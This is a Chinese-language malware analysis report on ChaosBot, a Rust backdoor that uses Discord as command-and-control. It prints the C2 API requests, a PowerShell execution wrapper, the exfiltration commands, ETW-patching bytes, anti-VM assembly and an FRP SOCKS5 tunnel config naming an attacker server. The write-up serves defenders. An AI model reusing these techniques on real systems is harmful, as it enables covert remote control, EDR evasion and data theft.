ChaosBot 基於 Discord 的 C2 通訊協定

ChaosBot 惡意軟體的出現,標誌著威脅環境的重大演進,它藉由利用合法的 Discord 平台進行命令與控制(C2),展現了一種複雜的手法。ChaosBot 以現代程式語言 Rust 撰寫,旨在實現隱匿、常駐以及有效的資料(Data)外洩,它利用多階段的通訊協定,將惡意流量與合法應用程式資料(Data)混合,藉此規避傳統的網路安全措施 [1]。本報告提供了 ChaosBot 運作機制的深入技術分析,重點關注其 C2 通訊協定、迴避技術和受駭後的活動。

Discord C2 的新威脅:ChaosBot 如何用 Rust 繞過傳統邊界防禦? | 資訊安全新聞

ChaosBot 基於 Discord 的 C2 通訊協定

ChaosBot 的 C2 基礎架構完全建立在 Discord API 上,利用預先設定的 bot token、Guild(伺服器)ID 和 Channel ID 進行操作。這種設計選擇對於隱密行動非常有效,因為 C2 流量與標準的 Discord 應用程式流量難以區分,使得邊界防禦難以標記。通訊程序可分為三個明確且由技術驅動的階段:Token Validation、受駭者頻道建立和互動式指令執行。

1. Token Validation 和初始 Check-in

惡意軟體透過驗證其預先設定的 bot token 來啟動其 C2 序列。這是透過向 Discord API 的 user 端點發出一個簡單的 HTTP GET Request 來完成的。請求結構至關重要,要求 bot token 必須以正確的格式存在於 Authorization header 中。根據反組譯指令觀察到的技術實作,在進行最終 API 呼叫之前,涉及將 "Bot " 前綴與 token 串連起來 [1]。

用於此初始檢查的 API 端點是:

GET hxxps://discord[.]com/api/v10/users/@me
    

以下組語級別片段說明了請求的準備過程,特別強調了授權 header 的建構以及隨後傳送請求的函式呼叫(使用如 reqwest serenity 等 Rust 網路函式庫)[1]:

  1. try {
  2. lea rax, rbp[430h+Src]
  3. mov rdi, rax
  4. lea rax, aHttppsIDiscordCo_1; "hxxps://discord[.]com/api/v10/users/@me"
  5. ...
  6. mov rax, off_7FFE8808F128; "Bot "
  7. ...
  8. LOC_7FFE87E59C91:
  9. try {
  10. ...
  11. lea rax, aAuthorization_2; "Authorization"
  12. ...
  13. LOC_7FFE87E59D0C:
  14. try {
  15. lea rax, [rbp+430h+Src]
  16. lea rdx, [rbp+430h+var_300]
  17. call ZN7Request6IOasync_impl14RequestBuilder4send17h92bef17b4be010d3E; request::async_impl::request::RequestBuilder::send

2. 受駭者頻道建立與通知

一旦 Token Validation 成功,ChaosBot 便會為受駭主機建立一個專屬的私人通訊頻道。此頻道以受駭者的電腦名稱動態命名,確保 Threat actor 擁有一個清晰且有條理的 C2 結構。頻道是透過向 guild 的 channels 端點發出一個 POST Request 來建立的,其 Payload 指定了頻道的名稱和 type(type 0 代表文字頻道)[1]。

POST Request 的結構如下:

POST hxxps://discord[.]com/api/v10/guilds/<THREAT_ACTOR_GUILD_ID>/channels {"name":"<VICTIM_COMPUTER_NAME>","type":0}
    

頻道建立後,會向一個一般頻道傳送一則初始通知訊息,告知操作員有新的受駭事件,並提供一個指向新建立的受駭者專屬頻道的連結:

{"content":"Host <VICTIM_COMPUTER_NAME> connected, channel created: <#<NEW_VICTIM_CHANNEL_ID>>"}

這個機制有效地將 Discord 伺服器轉變為一個即時的多受駭者 C2 面板。

3. 互動式指令執行和資料(Data)外洩

ChaosBot 的核心功能是它持續 polling 專屬 Discord 頻道以獲取新訊息的迴圈,這些訊息被解釋為命令。用於偵察和橫向移動的主要命令是 shell 。一個關鍵的技術細節是惡意軟體使用特定的 PowerShell 命令列來確保可靠的輸出編碼,這是為了在不同的系統區域環境(Context)中保持一致的資料(Data)處理所必需的步驟 [1]。

命令執行包裝器確保 UTF-8 輸出:

powershell -Command "$OutputEncoding = [System.Text.Encoding]::UTF8; <SOME_COMMAND> "

執行後,結果(stdout/stderr、螢幕截圖或下載的檔案(File))會以外部附件的形式回傳到頻道。這是透過向頻道的 messages 端點發出一個 multipart/form-data POST Request 來實現的。附件以一個通用的檔案(File)名稱(例如 command_result_<UUID>.txt )進行偽裝,進一步將惡意攻擊與合法的檔案(File)上傳混合在一起 [1]。

下圖說明了 Discord C2 通訊的高層次流程,從初始 check-in 到命令執行和資料(Data)外洩:

flowchart TD A[Compromised Host: ChaosBot] -->|"1.
GET
/users/@me
(Token Validation)"| B(Discord API); B -->|2.
Success
Response| A; A -->|"3.
POST
/guilds/:ID/channels
(Create <VICTIM_NAME>)"| B; B -->|4.
Channel
ID| A; C[Threat Actor] -->|"5. Send Command (e.g., shell systeminfo)"| D(Discord Channel); D -->|6. Poll for New Message| A; A -->|7.
Execute:
powershell -Command ...| E(Host OS); E -->|8.
Command
Output| A; A -->|"9.
POST
/channels/<ID>/messages
(Exfiltrate as attachment)"| B; B -->|10. Result Attachment| C;

Figure 1. ChaosBot's Discord-based Command and Control (C2) Flow.

ChaosBot 命令能力

ChaosBot 配備了一套簡潔而強大的命令集,能夠完全遠端控制受駭主機。其核心能力包括:

  • shell <command> : 透過 PowerShell 執行任意命令並將輸出上傳為 TXT 檔案(File)。
  • download <url> <path> : 從指定的 URL 抓取檔案(File)並將其儲存到受駭設備。
  • scr : 擷取受駭者桌面的螢幕截圖並將其上傳為 PNG 檔案(File)。
  • upload <src_path> : 將指定的檔案(File)從受駭設備外洩到 Discord 頻道。

迴避和常駐技術

為了保持低調並抵抗分析,ChaosBot 納入了幾種進階的迴避和反分析技術。這些方法針對自動沙箱和執行手動逆向工程的安全分析師。

ETW 迴避 (Event Tracing for Windows)

一個關鍵的迴避技術是對 Event Tracing for Windows (ETW) 函式進行 patching。ETW 是現代端點偵測與回應(Endpoint Detection and Response, EDR)系統用於監控程序(process)活動的關鍵組件。ChaosBot 透過修改記憶體中 ntdll!EtwEventWrite 函式的前幾個指令,為其程序(process)停用此遙測功能 [1]。

patching 過程涉及兩個主要步驟:首先,使用 VirtualProtect 更改目標函式的記憶體保護,以允許寫入;其次,使用一個立即返回成功狀態碼的序列覆寫初始位元組(byte)。觀察到的用於 patch 的組合語言指令旨在將原始函式 prologue 替換為 xor eax, eax (將回傳值設為 0,即成功)後跟 ret (從函式返回)[1]。

用於 patch payload 的相關組合語言指令是:

66 C7 03 31 C0   mov   word ptr [rbx], 0C031h ; xor eax, eax
C6 43 02 C3      mov   byte ptr [rbx+2], 0C3h  ; ret
    

這種記憶體中的修改有效地矇蔽了依賴 ETW hook 來監控程序(process)行為的安全產品。

反虛擬機 (Anti-VM) 檢查

ChaosBot 實作了一個強健的反虛擬機檢查,以防止在沙箱環境中執行,這是自動惡意軟體分析的常見做法。此檢查的運作方式是將系統的 MAC 位址與一組已知與虛擬化軟體廠商相關的前綴進行比較,例如 VMWare(例如 00:0C:29 , 00:50:56 , 00:05:69 )和 VirtualBox(例如 08:00:27 )[1]。

如果找到匹配項,惡意軟體將終止執行。以下組合語言程式碼片段展示了比較邏輯,其中 MAC 位址被載入並與 hardcoded 的廠商前綴值進行比較:

loc_7FF7561171A4: ; 00:0C:29 -> VMware, Inc.
48 B8 30 30 3A 30 43 3A 3A mov   rax, 39323A4330303A3030h
32 3949 39 45 00      cmp   [r13+0], rax
74 34                  jz    short loc_7FF7561171E8
; 00:50:56 -> VMware, Inc.
48 B8 30 30 3A 30 35 3A 3A mov   rax, 36353A3035303A3030h
35 3649 39 45 00      cmp   [r13+0], rax
74 24                  jz    short loc_7FF7561171E8
...
    

這項技術確保惡意軟體的完整能力只在真正的、非分析系統上暴露,大大增加了安全研究人員的工作複雜度。

受駭後活動和次要後門

ChaosBot 背後的 Threat actor 利用初次的受駭事件來建立更穩健和常駐的存取機制,超越了惡意軟體原生的 C2 能力。這第二階段涉及部署合法的雙用途工具。

Fast Reverse Proxy (FRP) 部署

一個即時的後滲透行動是部署和執行 Fast Reverse Proxy (FRP) 工具。 download shell 命令被用於將 FRP 執行檔(重新命名為 node.exe )及其設定(Configuration)( node.ini )部署在受駭主機上的公共使用者更新(Path)中 [1]。

觀察到的執行命令是:

shell c:\\users\\public\\music\\node.exe -c c:\\users\\public\\music\\node.ini
    

設定(Configuration)檔案 frpc.ini 揭示了 SOCKS5 代理的建立,連回遠端伺服器。這建立了一個常駐的通道,允許 Threat actor 轉入內部網路,並透過受駭主機路由流量,有效地規避任何直接的入站防火牆限制。設定(Configuration)細節如下:

# frpc.ini
[common]
server_addr = 18.162.110[.]113
server_port = 7000

[plugin_socks5]
type = tcp
remote_port = 6005
plugin = socks5
plugin_user = niuben
plugin_passwd = <REDACTED>

使用 FRP 證明了戰術上的轉變,從一個簡單的 C2 頻道轉向建立一個成熟的網路據點,利用合法工具來保持隱密存取。

試圖整合 VS Code Tunnel

進一步證明 Threat actor 意圖利用受信任雲端服務進行常駐的證據是試圖利用 Visual Studio Code Tunnel 服務。儘管命令執行失敗,因為所需的認證提示是互動式的(簡單的 Discord C2 shell 無法處理),但這次嘗試突顯了攻擊者嘗試使用和武器化合法開發和雲端服務,以實現常駐存取和命令執行的持續趨勢 [1]。

總結

ChaosBot 代表了一種現代、多層次的威脅。它使用 Rust 提供了性能和跨平台編譯的優勢,而其利用 Discord API 的 C2 機制則提供了高度的隱密性和對傳統網路偵測的韌性。進階迴避技術(例如 ETW patching 和反虛擬機檢查)與受駭後部署 FRP 等雙用途工具的結合,展現了複雜的操作能力。其通訊協定和反分析措施的技術細節為針對這種新一代惡意軟體制定有效的防禦和偵測策略提供了關鍵情報。